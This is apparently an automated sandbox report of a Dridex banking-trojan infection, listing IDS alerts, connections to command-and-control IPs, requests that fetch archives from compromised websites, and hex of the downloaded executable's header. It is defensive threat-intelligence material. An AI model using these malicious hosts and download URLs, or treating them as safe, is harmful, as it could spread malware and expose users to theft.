Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49265
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49265
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49267
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49267
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49266
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49269
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49270
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49271
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49273
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49273
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49275
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49276
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49278
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49278
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49279
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49280
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49280
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49281
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49281
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49283
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49282
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49288
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49287
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49289
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49289
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49290
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49290
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49292
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49293
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49294
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49296
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49296
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49286
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49297
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49298
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49299
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49299
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49302
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49301
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49303
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49303
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49304
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49305
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49309
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49310
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49313
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49313
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49314
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49314
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49311
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49315
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49315

Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 69.164.207.140:3388
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 198.57.200.100:3786

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jan 2021 15:13:16 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveLast-Modified: Tue, 12 Jan 2021 11:40:23 GMTAccept-Ranges: bytesContent-Length: 765440Keep-Alive: timeout=5, max=75Content-Type: application/x-rar-compressedData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 35 51 21 75 54 3f 72 75 54 3f 72 75 54 3f 72 a8 ab f1 72 74 54 3f 72 78 06 e2 72 77 54 3f 72 78 06 e0 72 74 54 3f 72 78 06 df 72 7a 54 3f 72 78 06 de 72 77 54 3f 72 a8 ab f4 72 76 54 3f 72 75 54 3e 72 3c 54 3f 72 78 06 e3 72 74 54 3f 72 78 06 da 72 7a 54 3f 72 78 06 e4 72 74 54 3f 72 78 06 e1 72 74 54 3f 72 52 69 63 68 75 54 3f 72 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 15 df dc 52 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0c 00 00 64 0b 00 00 16 01 00 00 00 00 00 98 6f 0a 00 00 10 00 00 00 80 0b 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 0c 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 72 0b 00 4d 00 00 00 5c 71 0c 00 3c 00 00 00 00 80 0c 00 10 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0c 00 e8 1a 00 00 60 10 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 0c 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ad 62 0b 00 00 10 00 00 00 64 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 e8 00 00 00 80 0b 00 00 1a 00 00 00 68 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 20 09 00 00 00 70 0c 00 00 0a 00 00 00 82 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 10 05 00 00 00 80 0c 00 00 06 00 00 00 8c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 1a 00 00 00 90 0c 00 00 1c 00 00 00 92 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jan 2021 15:13:25 GMTServer: ApacheLast-Modified: Mon, 11 Jan 2021 21:14:58 GMTAccept-Ranges: bytesContent-Length: 765440Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/zipData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 35 51 21 75 54 3f 72 75 54 3f 72 75 54 3f 72 a8 ab f1 72 74 54 3f 72 78 06 e2 72 77 54 3f 72 78 06 e0 72 74 54 3f 72 78 06 df 72 7a 54 3f 72 78 06 de 72 77 54 3f 72 a8 ab f4 72 76 54 3f 72 75 54 3e 72 3c 54 3f 72 78 06 e3 72 74 54 3f 72 78 06 da 72 7a 54 3f 72 78 06 e4 72 74 54 3f 72 78 06 e1 72 74 54 3f 72 52 69 63 68 75 54 3f 72 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 15 df dc 52 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0c 00 00 64 0b 00 00 16 01 00 00 00 00 00 98 6f 0a 00 00 10 00 00 00 80 0b 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 0c 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 72 0b 00 4d 00 00 00 5c 71 0c 00 3c 00 00 00 00 80 0c 00 10 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0c 00 e8 1a 00 00 60 10 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 0c 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ad 62 0b 00 00 10 00 00 00 64 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 e8 00 00 00 80 0b 00 00 1a 00 00 00 68 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 20 09 00 00 00 70 0c 00 00 0a 00 00 00 82 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 10 05 00 00 00 80 0c 00 00 06 00 00 00 8c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 1a 00 00 00 90 0c 00 00 1c 00 00 00 92 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jan 2021 15:14:27 GMTServer: ApacheStrict-Transport-Security: max-age=63072000; includeSubdomains;X-Frame-Options: SAMEORIGINLast-Modified: Thu, 14 Jan 2021 04:03:15 GMTAccept-Ranges: bytesContent-Length: 765440Cache-Control: max-age=2592000Expires: Fri, 19 Feb 2021 15:14:27 GMTKeep-Alive: timeout=5, max=50Connection: Keep-AliveContent-Type: application/zipData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 35 51 21 75 54 3f 72 75 54 3f 72 75 54 3f 72 a8 ab f1 72 74 54 3f 72 78 06 e2 72 77 54 3f 72 78 06 e0 72 74 54 3f 72 78 06 df 72 7a 54 3f 72 78 06 de 72 77 54 3f 72 a8 ab f4 72 76 54 3f 72 75 54 3e 72 3c 54 3f 72 78 06 e3 72 74 54 3f 72 78 06 da 72 7a 54 3f 72 78 06 e4 72 74 54 3f 72 78 06 e1 72 74 54 3f 72 52 69 63 68 75 54 3f 72 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 15 df dc 52 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0c 00 00 64 0b 00 00 16 01 00 00 00 00 00 98 6f 0a 00 00 10 00 00 00 80 0b 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 0c 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 72 0b 00 4d 00 00 00 5c 71 0c 00 3c 00 00 00 00 80 0c 00 10 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0c 00 e8 1a 00 00 60 10 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 f4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 0c 00 5c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ad 62 0b 00 00 10 00 00 00 64 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 e8 00 00 00 80 0b 00 00 1a 00 00 00 68 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 20 09 00 00 00 70 0c 00 00 0a 00 00 00 82 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 10 05 00 00 00 80 0c 00 00 06 00 00 00 8c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 1a 00 00 00 90 0c 00 00 1c 00 00 00 92 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 198.57.200.100 198.57.200.100
Source: Joe Sandbox View	IP Address: 69.164.207.140 69.164.207.140

Source: Joe Sandbox View

JA3 fingerprint: eb88d0b3e1961a0562f006e5ce2a0b87

Source: global traffic	HTTP traffic detected: GET /h79fwesfe.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: monitrade.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ys95lm6k.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: bafnabrotherskesarwala.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xkpffwn.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: artec.com.trConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ylztwx.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.gastronauts.asiaConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uzssv27.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: laureys.beConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: laureys.beConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /by9zwa7p1.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: cms.ivpr.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d8ms3mljy.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: salaodigitalautomovel.pt.deve.ptConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49179 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49183 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49186 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49187 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49191 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49192 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49199 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49204 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49209 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49212 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49216 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49222 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49225 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49228 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49232 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49238 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49241 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49244 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49246 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49249 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49256 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49257 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49260 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49264 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49270 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49271 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49279 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49283 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49288 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49293 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49294 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49286 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49302 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49305 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49309 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
